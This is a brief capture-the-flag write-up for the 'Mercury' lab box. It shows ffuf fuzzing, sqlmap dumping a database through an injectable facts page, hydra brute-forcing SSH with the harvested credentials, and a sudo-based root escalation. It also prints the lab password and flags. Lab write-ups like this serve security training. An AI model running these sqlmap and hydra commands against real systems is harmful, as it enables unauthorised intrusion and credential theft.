Mercury

By Lawcky 14/01/24

Introduction

The First of ‘The Planets’

Difficulty : easy

Additionnal info :

Name: The Planets: Mercury
Release date: 4 Sep 2020
Author: SirFlash
Series: The Planets

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• nmap
• nikto
• ffuf
• sqlmap
• hydra

---

Write-UP

FUZZING using ffuf

ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt:FUZZ -u http://192.168.1.72:8080/FUZZ -fc 403 -e .txt,.php,.html

nothing found not even in source code

---

Website

we found on the http://192.168.1.72:8080/mercuryfacts/ page
that there is 9 fact, while trying different things i found this

these facts are given using SQL database

this seems to be the potential sql command executed

starting to get somewhere

using sqlmap

sqlmap -u http://192.168.1.72:8080/mercuryfacts/ --dbs --batch

sqlmap -u http://192.168.1.72:8080/mercuryfacts/ --dump --batch

we know have different users and password.

---

SSH

wordlist

using hydra for faster testing

hydra -C mercury_users 192.168.1.72 ssh

user webmaster is working

webmaster:mercuryisthesizeof0.056Earths

[user_flag_8339915c9a454657bd60ee58776f4ccd]

first flag found

---

Privilege Escalation

from webmaster to root

sudo version is vulnerable

sudo -V

using this exploit

[root_flag_69426d9fda579afbffd9c2d47ca31d90]
second flag found